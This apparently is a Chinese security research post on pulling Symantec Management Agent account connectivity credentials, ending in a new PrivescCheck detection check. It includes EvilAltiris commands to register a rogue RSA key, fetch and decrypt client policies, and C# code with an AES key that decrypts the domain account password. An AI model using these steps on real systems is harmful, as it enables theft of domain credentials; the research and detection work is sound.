利用PrivescCheck检测赛门铁克账户连接凭据(ACCs)
背景
去年12月(2024年),MDSec发布了一篇关于赛门铁克管理代理(原“Altiris代理”)的有趣发现的博客文章。作者Matt Johnson解释了在红队任务中,如何以本地管理员和低权限用户身份在Windows端点上提取“账户连接凭据”(ACCs)。赛门铁克管理代理(SMA)是“IT管理套件”(ITMS)的一个组件,安装在端点(通常是域加入的Windows工作站或服务器)上,与“通知服务器”(NS)通信,实现通过“赛门铁克管理控制台”集中管理端点,本质上是一个命令与控制(C2)基础设施。
安装通知服务器时,向导会提示输入用于“运行服务器”的域用户账户凭据。默认情况下,此身份还用于提供“账户连接凭据”(ACCs),类似于SCCM中的“网络访问账户”。这意味着代理注册时,这些凭据会被推送到端点。
设置
首先,获取服务器安装程序。通过Broadcom网站注册免费账户访问产品下载页面,但需要客户ID,因此通过第三方网站获取安装程序。创建Windows Server 2022虚拟机,加入本地Active Directory,运行安装程序,并通过赛门铁克安装管理器安装缺失组件。最后,在域加入的Windows工作站上部署代理。
管理员权限下的利用
MDSec发布了名为EvilAltiris的工具来自动化利用步骤,但仓库因DMCA请求被删除。Symantec Management Agent Tool(SMATool.exe)必须以NT AUTHORITY\SYSTEM身份运行,因为它访问受DPAPI保护的加密密钥。目标是从通知服务器检索(加密的)客户端策略,并从中提取ACCs。需要两个信息:机器GUID和类型GUID。
获取机器GUID:
1
|
"C:\Temp\EvilAltiris.exe" GetMachineGuid
|
获取类型GUID:
1
|
"C:\Temp\EvilAltiris.exe" SmaGetTypeGuid /smapath:"C:\Temp\SMATool.exe"
|
获取客户端策略:
1
2
|
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Altiris\Altiris Agent\Servers"
"C:\Temp\EvilAltiris.exe" GetClientPolicies /url:"http://srv02.foundation.local" /machine:"{59067291-0E3D-44DE-85FD-BDE4B5632648}" /type:"{493435F7-3B17-4C4C-B07F-C23E7AB7781F}" /outfile:"C:\Temp\policy_data_encrypted.dat"
|
解密策略时遇到“模块未找到”错误,原因是缺少x86\AeXAgentExt.dll文件。复制并重命名文件后,仍出现“访问被拒绝”错误。发现MDSec研究基于代理版本8.7.2337,而当前版本为8.8.1280,SMATool.exe被SMAODJoin.exe替代。
低权限用户下的利用
作为低权限用户,可以读取机器GUID,但无法读取类型GUID。替代方法是制作代理注册请求,即使机器GUID已注册也可行。首先获取机器GUID:
1
|
"EvilAltiris.exe" GetMachineGuid
|
生成RSA密钥对:
1
|
"EvilAltiris.exe" GenerateKeys
|
应用RSA密钥到当前代理:
1
2
|
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Altiris\Altiris Agent\Servers"
"EvilAltiris.exe" SetPublicKey /key:"AAAAAQABuBBwrm4i0qtsnb36XbRiHKumlk6O6Dey7m9+i+an1xVlKRmgndzp3BaQWmu6xw1X6Eoo3Jyrz2QE+JLOz0M/Zc/0WMURcF5QJ11d2LqrdfbMy3pIXUsEQMiDtIfo4gHqA0zP5JJyWYWjF46JA5RWdP1hXzTT/T8IUQ5yxt8xNSfaHHhLiNSeyuSVEqWMI0gx67z2Dzs7xHRTBQ20A6wjbMeMehYtiSqoP5/vPt/hk0iOpsSgcVMi5R9GcI/0wemiQsbjylsyMWJ1mLwU7ddxSnYYDa3u89FnZf2cIa+bjUle+R5XPgL5WZrrYlmjaR+O/uI+3Ms+Nztn5ZBn9/1+MQ==" /url:"http://srv02.foundation.local" /machine:"{59067291-0E3D-44DE-85FD-BDE4B5632648}"
|
服务器返回类型GUID。获取客户端策略:
1
|
"EvilAltiris.exe" GetClientPolicies /url:"http://srv02.foundation.local" /machine:"{59067291-0E3D-44DE-85FD-BDE4B5632648}" /type:"{493435f7-3b17-4c4c-b07f-c23e7ab7781f}" /outfile:"C:\Temp\policy_data_encrypted.dat"
|
解密策略:
1
|
"EvilAltiris.exe" DecryptPolicy /data:"C:\Temp\policy_data_encrypted.dat" /key:"<RSAKeyValue><Modulus>uBBwrm4i0q [snip] 3In4vQ==</D></RSAKeyValue>"
|
策略解密成功,XML中包含ACCs的用户名和密码:
1
2
3
4
5
6
7
8
|
<PkgAccessCredentials
policySecuredNode="{7A631FB0-26A5-478e-9AE7-A848EE1140C0}"
SecuredAttributeD0885E2A8AB9_BlockUnsecureProcessing="secured"
UserName_SecureAttribute="highsecured"
UserName="FOUNDATION\altiris_notification"
UserPassword_SecureAttribute="highsecured"
UserPassword="AwBcxiEuzG5L1KCP8VnpwJKd/FkxTo1w/G6zKuW7/2CSWcDeB0kxhT20I1x0kQ0+zfKpqNKDZ7YoYD3wKBScPkCiUYBB6HmV2h+Y2Yq5GRnPtLt4I9SfqPnyjzB51p+nITG31FbtxFR38BG2+T0gWbIfrnkZjyQLzTC8trZgjFQqddd85q1eLO4pCj++9Qpr3ZjOxkvaQlQknFbrWXiYGdVY"
/>
|
用户名是明文,密码加密。尝试解密密码时失败,抛出“填充无效”异常。检查通知服务器使用的密钥文件,发现硬编码的AES密钥不再使用,可能改用随机生成的密钥。策略数据中包含自己的AES密钥,类型为kDefault, kExposableToAgent,且每个安装唯一。
使用C#代码解密密码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
byte[] input_data = System.Convert.FromBase64String(args[0]);
byte[] key = System.Convert.FromBase64String("+us3+eX22qtRmFThHxiXKSFY1kxDFx0esu+ly5y3NrA=");
byte[] iv = new byte[16];
Buffer.BlockCopy(input_data, 2, iv, 0, 16);
int encLength = input_data.Length - 64;
int encryptedBufferSize = encLength - 18;
byte[] processedData = new byte[encryptedBufferSize];
Buffer.BlockCopy(input_data, 18, processedData, 0, encryptedBufferSize);
using (AesCryptoServiceProvider aes = new AesCryptoServiceProvider()) {
aes.Key = key;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream msDecrypt = new MemoryStream(processedData)) {
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) {
using (StreamReader srDecrypt = new StreamReader(csDecrypt)) {
Console.WriteLine("Decrypted data: " + srDecrypt.ReadToEnd());
}
}
}
}
|
解密成功,获得明文密码。
ACCs检查实现
作为低权限用户,只能依赖本地可访问的信息实现PrivescCheck检查。从文件系统和注册表收集信息:
- HKLM\SOFTWARE\Altiris...
- C:\Program Files\Altiris...
- C:\ProgramData\Symantec\Symantec Agent...
注册表主键包含代理版本、安装目录和机器GUID。Servers子键包含服务器列表及其URL。类型GUID可在以下文件中找到:
- C:\Program Files\Altiris\Altiris Agent\AeXLastBasicInventory.xml
- C:\Program Files\Altiris\Altiris Agent\AeXLastBasicInventoryDelta.xml
- C:\Program Files\Altiris\Altiris Agent\Client Policies<NOTIFICATION_SERVER_NAME>.xml
AeXLastBasicInventory.xml可通过XPath解析获取typeGuid和guid。客户端策略文件包含PkgAccessCredentials节点,但UserName和UserPassword值被aexs://路径替代,表明ACCs本地存储。
基于这些信息,在PrivescCheck中实现新检查。
结论
本文覆盖了MDSec发布提取ACCs后赛门铁克管理代理的一些变化。尽管无法在特权上下文中复制其技术,但作为低权限用户通过微小调整成功实现。作为NT AUTHORITY\SYSTEM尝试复制利用步骤时,遇到“访问被拒绝”错误,且不解为何必须与通知服务器交互检索ACCs。ACCs应本地存储供代理使用,因此理论上作为本地管理员应能纯离线检索,无需与通知服务器交互。后续发现方法,将在单独文章中分享。